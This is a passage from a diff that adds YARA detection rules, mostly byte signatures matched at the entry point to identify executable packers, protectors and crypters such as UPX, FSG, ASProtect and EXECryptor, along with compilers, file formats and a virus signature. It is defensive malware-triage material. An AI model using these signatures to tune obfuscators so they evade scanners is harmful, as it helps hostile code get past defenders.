or $452 at entrypoint or $453 at entrypoint or $454 at entrypoint or $455 at entrypoint or $456 at entrypoint or $457 at entrypoint or $458 at entrypoint or $459 at entrypoint or $460 at entrypoint or $461 at entrypoint or $462 at entrypoint or $463 at entrypoint or $464 at entrypoint or $465 at entrypoint or $466 at entrypoint or $467 at entrypoint or $468 at entrypoint or $469 at entrypoint or $470 at entrypoint or $471 at entrypoint or $472 at entrypoint or $473 at entrypoint or $474 at entrypoint or $475 at entrypoint or $476 at entrypoint or $477 at entrypoint or $478 at entrypoint or $479 at entrypoint or $480 at entrypoint or $481 at entrypoint or $482 at entrypoint or $483 at entrypoint or $484 at entrypoint or $485 at entrypoint or $486 at entrypoint or $487 at entrypoint or $488 at entrypoint or $489 at entrypoint or $490 at entrypoint or $491 at entrypoint or $492 at entrypoint or $493 at entrypoint or $494 at entrypoint or $495 at entrypoint or $496 at entrypoint or $497 at entrypoint or $498 at entrypoint or $499 at entrypoint or $500 at entrypoint or $501 at entrypoint or $502 at entrypoint or $503 at entrypoint or $504 at entrypoint or $505 at entrypoint or $506 at entrypoint or $507 at entrypoint or $508 at entrypoint or $509 at entrypoint or $510 at entrypoint or $511 at entrypoint or $512 at entrypoint or $513 at entrypoint or $514 at entrypoint or $515 at entrypoint or $516 at entrypoint or $517 at entrypoint or $518 at entrypoint or $519 at entrypoint or $520 at entrypoint or $521 at entrypoint or $522 at entrypoint or $523 at entrypoint or $524 at entrypoint or $525 at entrypoint or $526 at entrypoint or $527 at entrypoint or $528 at entrypoint or $529 at entrypoint or $530 at entrypoint or $531 at entrypoint or $532 at entrypoint or $533 at entrypoint or $534 at entrypoint or $535 at entrypoint or $536 at entrypoint or $537 at entrypoint or $538 at entrypoint or $539 at entrypoint or $540 at entrypoint or $541 at entrypoint or $542 at entrypoint or $543 at entrypoint or $544 at entrypoint or $545 at entrypoint or $546 at entrypoint or $547 at entrypoint or $548 at entrypoint or $549 at entrypoint or $550 at entrypoint or $551 at entrypoint or $552 at entrypoint or $553 at entrypoint or $554 at entrypoint or $555 at entrypoint or $556 at entrypoint or $557 at entrypoint or $558 at entrypoint or $559 at entrypoint or $560 at entrypoint or $561 at entrypoint or $562 at entrypoint or $563 at entrypoint or $564 at entrypoint or $565 at entrypoint or $566 at entrypoint or $567 at entrypoint or $568 at entrypoint or $569 at entrypoint or $570 at entrypoint or $571 at entrypoint or $572 at entrypoint or $573 at entrypoint or $574 at entrypoint or $575 at entrypoint or $576 at entrypoint or $577 at entrypoint or $578 at entrypoint or $579 at entrypoint or $580 at entrypoint or $581 at entrypoint or $582 at entrypoint or $583 at entrypoint or $584 at entrypoint or $585 at entrypoint or $586 at entrypoint or $587 at entrypoint or $588 at entrypoint or $589 at entrypoint or $590 at entrypoint or $591 at entrypoint or $592 at entrypoint or $593 at entrypoint or $594 at entrypoint or $595 at entrypoint or $596 at entrypoint or $597 at entrypoint or $598 at entrypoint or $599 at entrypoint or $600 at entrypoint or $601 at entrypoint or $602 at entrypoint or $603 at entrypoint or $604 at entrypoint or $605 at entrypoint or $606 at entrypoint or $607 at entrypoint or $608 at entrypoint or $609 at entrypoint or $610 at entrypoint or $611 at entrypoint or $612 at entrypoint or $613 at entrypoint or $614 at entrypoint or $615 at entrypoint or $616 at entrypoint or $617 at entrypoint or $618 at entrypoint or $619 at entrypoint or $620 at entrypoint or $621 at entrypoint or $622 at entrypoint or $623 at entrypoint or $624 at entrypoint or $625 at entrypoint or $626 at entrypoint or $627 at entrypoint or $628 at entrypoint or $629 at entrypoint or $630 at entrypoint or $631 at entrypoint or $632 at entrypoint or $633 at entrypoint or $634 at entrypoint or $635 at entrypoint or $636 at entrypoint or $637 at entrypoint or $638 at entrypoint or $639 at entrypoint or $640 at entrypoint or $641 at entrypoint or $642 at entrypoint or $643 at entrypoint or $644 at entrypoint or $645 at entrypoint or $646 at entrypoint or $647 at entrypoint or $648 at entrypoint or $649 at entrypoint or $650 at entrypoint or $651 at entrypoint or $652 at entrypoint or $653 at entrypoint or $654 at entrypoint or $655 at entrypoint or $656 at entrypoint or $657 at entrypoint or $658 at entrypoint or $659 at entrypoint or $660 at entrypoint or $661 at entrypoint or $662 at entrypoint or $663 at entrypoint or $664 at entrypoint or $665 at entrypoint or $666 at entrypoint or $667 at entrypoint or $668 at entrypoint or $669 at entrypoint or $670 at entrypoint or $671 at entrypoint or $672 at entrypoint or $673 at entrypoint or $674 at entrypoint or $675 at entrypoint or $676 at entrypoint or $677 at entrypoint or $678 at entrypoint or $679 at entrypoint or $680 at entrypoint or $681 at entrypoint or $682 at entrypoint or $683 at entrypoint or $684 at entrypoint or $685 at entrypoint or $686 at entrypoint or $687 at entrypoint or $688 at entrypoint or $689 at entrypoint or $690 at entrypoint or $691 at entrypoint or $692 at entrypoint or $693 at entrypoint or $694 at entrypoint or $695 at entrypoint or $696 at entrypoint or $697 at entrypoint or $698 at entrypoint or $699 at entrypoint or $700 at entrypoint or $701 at entrypoint or $702 at entrypoint or $703 at entrypoint or $704 at entrypoint or $705 at entrypoint or $706 at entrypoint or $707 at entrypoint or $708 at entrypoint or $709 at entrypoint or $710 at entrypoint or $711 at entrypoint or $712 at entrypoint or $713 at entrypoint or $714 at entrypoint or $715 at entrypoint or $716 at entrypoint or $717 at entrypoint or $718 at entrypoint or $719 at entrypoint or $720 at entrypoint or $721 at entrypoint or $722 at entrypoint or $723 at entrypoint or $724 at entrypoint or $725 at entrypoint or $726 at entrypoint or $727 at entrypoint or $728 at entrypoint or $729 at entrypoint or $730 at entrypoint or $731 at entrypoint or $732 at entrypoint or $733 at entrypoint or $734 at entrypoint or $735 at entrypoint or $736 at entrypoint or $737 at entrypoint or $738 at entrypoint or $739 at entrypoint or $740 at entrypoint or $741 at entrypoint or $742 at entrypoint or $743 at entrypoint or $744 at entrypoint or $745 at entrypoint or $746 at entrypoint or $747 at entrypoint or $748 at entrypoint or $749 at entrypoint or $750 at entrypoint or $751 at entrypoint or $752 at entrypoint or $753 at entrypoint or $754 at entrypoint or $755 at entrypoint or $756 at entrypoint or $757 at entrypoint or $758 at entrypoint or $759 at entrypoint or $760 at entrypoint or $761 at entrypoint or $762 at entrypoint or $763 at entrypoint or $764 at entrypoint or $765 at entrypoint or $766 at entrypoint or $767 at entrypoint or $768 at entrypoint or $769 at entrypoint or $770 at entrypoint or $771 at entrypoint or $772 at entrypoint or $773 at entrypoint or $774 at entrypoint or $775 at entrypoint or $776 at entrypoint or $777 at entrypoint or $778 at entrypoint or $779 at entrypoint or $780 at entrypoint or $781 at entrypoint or $782 at entrypoint or $783 at entrypoint or $784 at entrypoint or $785 at entrypoint or $786 at entrypoint or $787 at entrypoint or $788 at entrypoint or $789 at entrypoint or $790 at entrypoint or $791 at entrypoint or $792 at entrypoint or $793 at entrypoint or $794 at entrypoint or $795 at entrypoint or $796 at entrypoint or $797 at entrypoint or $798 at entrypoint or $799 at entrypoint or $800 at entrypoint or $801 at entrypoint or $802 at entrypoint or $803 at entrypoint or $804 at entrypoint or $805 at entrypoint or $806 at entrypoint or $807 at entrypoint or $808 at entrypoint or $809 at entrypoint or $810 at entrypoint or $811 at entrypoint or $812 at entrypoint or $813 at entrypoint or $814 at entrypoint or $815 at entrypoint or $816 at entrypoint or $817 at entrypoint or $818 at entrypoint or $819 at entrypoint or $820 at entrypoint or $821 at entrypoint or $822 at entrypoint or $823 at entrypoint or $824 at entrypoint or $825 at entrypoint or $826 at entrypoint or $827 at entrypoint or $828
+}
+rule _UPX_050__070_
+{
+	meta:
+		description = "UPX 0.50 - 0.70"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_LTC_13__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [LTC 1.3] -> Anorganix"
+	strings:
+		$0 = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_133_Eng__dulekxt_
+{
+	meta:
+		description = "FSG 1.33 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D}
+	condition:
+		$0 at entrypoint
+}
+rule _SC_Obfuscator__SuperCRacker_
+{
+	meta:
+		description = "SC Obfuscator -> SuperCRacker"
+	strings:
+		$0 = {60 33 C9 8B 1D 00 ?? ?? ?? 03 1D 08 ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D 04 ?? ?? ?? 75 E7 A1 08 ?? ?? ?? 01 05 0C ?? ?? ?? 61 FF 25 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _Reg2Exe_224__by_Jan_Vorel_
+{
+	meta:
+		description = "Reg2Exe 2.24 - by Jan Vorel"
+	strings:
+		$0 = {6A 00 E8 CF 20 00 00 A3 F4 45 40 00 E8 CB 20 00 00 6A 0A 50 6A 00 FF 35 F4 45 40 00 E8 07 00 00 00 50 E8 BB 20 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 F8 45 40 00 E8 06 19 00 00 83 C4 0C 8B 44 24 04 A3 FC 45 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00}
+		$1 = {6A 00 E8 CF 20 00 00 A3 F4 45 40 00 E8 CB 20 00 00 6A 0A 50 6A 00 FF 35 F4 45 40 00 E8 07 00 00 00 50 E8 BB 20 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 F8 45 40 00 E8 06 19 00 00 83 C4 0C 8B 44 24 04 A3 FC 45 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 8C 20 00 00 A3 F8 45 40 00 E8 02 20 00 00 E8 32 1D 00 00 E8 20 19 00 00 E8 A3 16 00 00 68 01 00 00 00 68 38 46 40 00 68 00 00 00 00 8B 15 38 46 40 00 E8 71 4F 00 00 B8 00 00 10 00 BB 01 00 00 00 E8 82 4F 00 00 FF 35 48 41 40 00 B8 00 01 00 00 E8 9D 15 00 00 8D 0D 1C 46 40 00 5A E8 82 16 00 00 68 00 01 00 00 FF 35 1C 46 40 00 E8 24 20 00 00 A3 24 46 40 00 FF 35 48 41 40 00 FF 35 24 46 40 00 FF 35 1C 46 40 00 E8 DC 10 00 00 8D 0D 14 46 40 00 5A E8 4A 16}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _nPack_V112002006Beta__NEOxuinC_
+{
+	meta:
+		description = "nPack V1.1.200.2006.Beta -> NEOx/[uinC"
+	strings:
+		$0 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 EC 01 00 00 E8 F8 06 00 00 E8 03 06 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_PEBundle_02__3x__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PEBundle 0.2 - 3.x) -> emadicius (h)"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v100_v103_
+{
+	meta:
+		description = "PKLITE v1.00, v1.03"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 8C DB 03 D8 3B}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Access_Database_file_
+{
+	meta:
+		description = "Microsoft Access Database file"
+	strings:
+		$0 = {00 01 00 00 53 74 61 6E 64 61 72 64 20 4A 65 74 20 44 42 00}
+	condition:
+		$0
+}
+rule _Armadillo_37x__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 3.7x -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 B8 3B 01 00 00 03 C5 33 DB 81 C3 01 01 01 01 31 18 81 38 78 54 00 00 74 04 31 18 EB EC}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v120_
+{
+	meta:
+		description = "PKLITE v1.20"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 B4 4C CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _VBOX_v42_MTE_
+{
+	meta:
+		description = "VBOX v4.2 MTE"
+	strings:
+		$0 = {8C E0 0B C5 8C E0 0B C4 03 C5 74 00 74 00 8B C5}
+	condition:
+		$0 at entrypoint
+}
+rule _ARJ_SFX_Custom_
+{
+	meta:
+		description = "ARJ SFX Custom"
+	strings:
+		$0 = {60 BE 15 F0 40 00 8D BE EB 1F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+		$1 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 18 C0 40 00 68 C4 A1 40 00 50 64 89 25 00 00 00 00 83 EC 60 53 56 57 89 65 E8 FF 15 38 03 41 00 A3 D0 D6 40 00 33 C0 A0 D1 D6 40 00 A3 DC D6 40 00 A1 D0 D6}
+		$2 = {B8 ?? ?? ?? ?? 66 9C 60 50 8D 90 5C 01 00 00 68 00 00 40 00 83 3A 00 0F 84 C6 C1 FF FF 8B 04 24 8B 0A 0F BA F1 1F 73 13 FD 8B F0 8B F8 03 72 04 03 7A 08 F3 A5 83 C2 0C FC EB D9 83 C2 10 8B 5A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _WWPACK_v305c4_Unextr_Passwcheck_Vir_shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextr. Passw.check. Vir. shield)"
+	strings:
+		$0 = {03 05 C0 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _codeCrypter_031_
+{
+	meta:
+		description = "codeCrypter 0.31"
+	strings:
+		$0 = {50 58 53 5B 90 BB ?? ?? 40 00 FF E3 90 CC CC CC 55 8B EC 5D C3}
+		$1 = {50 58 53 5B 90 BB ?? ?? 40 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Unknown_Packer__Northfox_
+{
+	meta:
+		description = "Unknown Packer -> Northfox"
+	strings:
+		$0 = {54 59 68 61 7A 79}
+	condition:
+		$0 at entrypoint
+}
+rule _PEQuake_v006_by_fORGAT_
+{
+	meta:
+		description = "PEQuake v0.06 by fORGAT"
+	strings:
+		$0 = {E8 A5 00 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 3D ?? 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? 00 00 5B ?? 00 00 6E ?? 00 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 81 00 00 00 56 50 FF 55 2D 89 85 8E 00 00 00 6A 04 68 00 10 00 00 68 ?? ?? 00 00 6A 00 FF 95 8E 00 00 00 50 8B 9D 7D 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_BJFNT_11b_
+{
+	meta:
+		description = "PseudoSigner 0.2 [.BJFNT 1.1b]"
+	strings:
+		$0 = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Simple_UPX_Cryptor_v3042005_One_layer_encryption_
+{
+	meta:
+		description = "Simple UPX Cryptor v30.4.2005 [One layer encryption"
+	strings:
+		$0 = {60 B8 ?? ?? ?? 00 B9 ?? 01 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_compressed_resources_
+{
+	meta:
+		description = "EXECryptor 2.3.9 (compressed resources)"
+	strings:
+		$0 = {51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00 00 81 ED BB 43 CB 79 C1 E0 1C E9 9E 14 00 00 0B 15 ?? ?? ?? ?? 81 E2 2A 70 7F 49 81 C2 9D 83 12 3B E8 0C 50 00 00 E9 A0 16 00 00 59 5B C3 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 41 42 00 00 E9 93 33 00 00 31 DB 89 D8 59 5B C3 A1 ?? ?? ?? ?? 8A 00 2C 99 E9 82 30 00 00 0F 8A ?? ?? ?? ?? B8 01 00 00 00 31 D2 0F A2 25 FF 0F 00 00 E9 72 21 00 00 0F 86 57 0B 00 00 E9 ?? ?? ?? ?? C1 C0 03 E8 F0 36 00 00 E9 41 0A 00 00 81 F7 B3 6E 85 EA 81 C7 ?? ?? ?? ?? 87 3C 24 E9 74 52 00 00 0F 8E ?? ?? ?? ?? E8 5E 37 00 00 68 B1 74 96 13 5A E9 A1 04 00 00 81 D1 49 C0 12 27 E9 50 4E 00 00 C1 C8 1B 1B C3 81 E1 96 36 E5}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)"
+	strings:
+		$0 = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01 F7 2B FE EB 01 7F 81 EF DF 30 90 1E EB 02 CD 20 87 FA 88 10 80 EA 03 40 EB 01 20 4E EB 01 3D 83 FE 00 75 A2 EB 02 CD 20 EB 01 C3 78 73 42 F7 35 6C 2D 3F ED 33 97 ?? ?? ?? 5D F0 45 29 55 57 55 71 63 02 72 E9 1F 2D 67 B1 C0 91 FD 10 58 A3 90 71 6C 83 11 E0 5D 20 AE 5C 71 83 D0 7B 10 97 54 17 11 C0 0E 00 33 76 85 33 3C 33 21 31 F5 50 CE 56 6C 89 C8 F7 CD 70 D5 E3 DD 08 E8 4E 25 FF 0D F3 ED EF C8 0B 89 A6 CD 77 42 F0 A6 C8 19 66 3D B2 CD E7 89 CB 13 D7 D5 E3 1E DF 5A E3 D5 50 DF B3 39 32 C0 2D B0 3F B4 B4 43}
+	condition:
+		$0 at entrypoint
+}
+rule _VcAsm_Protector_V10X__VcAsm_
+{
+	meta:
+		description = "VcAsm Protector V1.0X -> VcAsm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Inbuild_v10_hard_
+{
+	meta:
+		description = "Inbuild v1.0 [hard"
+	strings:
+		$0 = {B9 ?? ?? BB ?? ?? 2E ?? ?? 2E ?? ?? 43 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v20b5__v23_
+{
+	meta:
+		description = "PEBundle v2.0b5 - v2.3"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 01 AD ?? ?? ?? ?? 01 AD}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v081__v084_Modified_
+{
+	meta:
+		description = "UPX v0.81 - v0.84 Modified"
+	strings:
+		$0 = {01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77 EF}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Pack_Master_10_PEX_Clone_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)]"
+	strings:
+		$0 = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt_v100v101_
+{
+	meta:
+		description = "PE Crypt v1.00/v1.01"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_REALBasic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [REALBasic] -> Anorganix"
+	strings:
+		$0 = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v112_v115_v120_2_
+{
+	meta:
+		description = "PKLITE v1.12, v1.15, v1.20 (2)"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 3B C4 73}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Trivial25_
+{
+	meta:
+		description = "Vx: Trivial.25"
+	strings:
+		$0 = {B4 4E FE C6 CD 21 B8 ?? 3D BA ?? 00 CD 21 93 B4 40 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v099_Special_Build__heXer__forgot_
+{
+	meta:
+		description = "tElock v0.99 Special Build -> heXer & forgot"
+	strings:
+		$0 = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_Personal_Packer_PPP_102__ConquestOfTroycom_
+{
+	meta:
+		description = "Private Personal Packer (PPP) 1.0.2 -> ConquestOfTroy.com"
+	strings:
+		$0 = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8}
+		$1 = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Turbo_C_1987_
+{
+	meta:
+		description = "Turbo C 1987"
+	strings:
+		$0 = {FB 8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_12__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.2 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _SPEC_b3_
+{
+	meta:
+		description = "SPEC b3"
+	strings:
+		$0 = {5B 53 50 45 43 5D E8 ?? ?? ?? ?? 5D 8B C5 81 ED 41 24 40 ?? 2B 85 89 26 40 ?? 83 E8 0B 89 85 8D 26 40 ?? 0F B6 B5 91 26 40 ?? 8B FD}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v123_RC4_build_0807_dll__Alexey_Solodovnikov_h_
+{
+	meta:
+		description = "ASProtect v1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov (h)"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NoName_Packer_
+{
+	meta:
+		description = "NoName Packer"
+	strings:
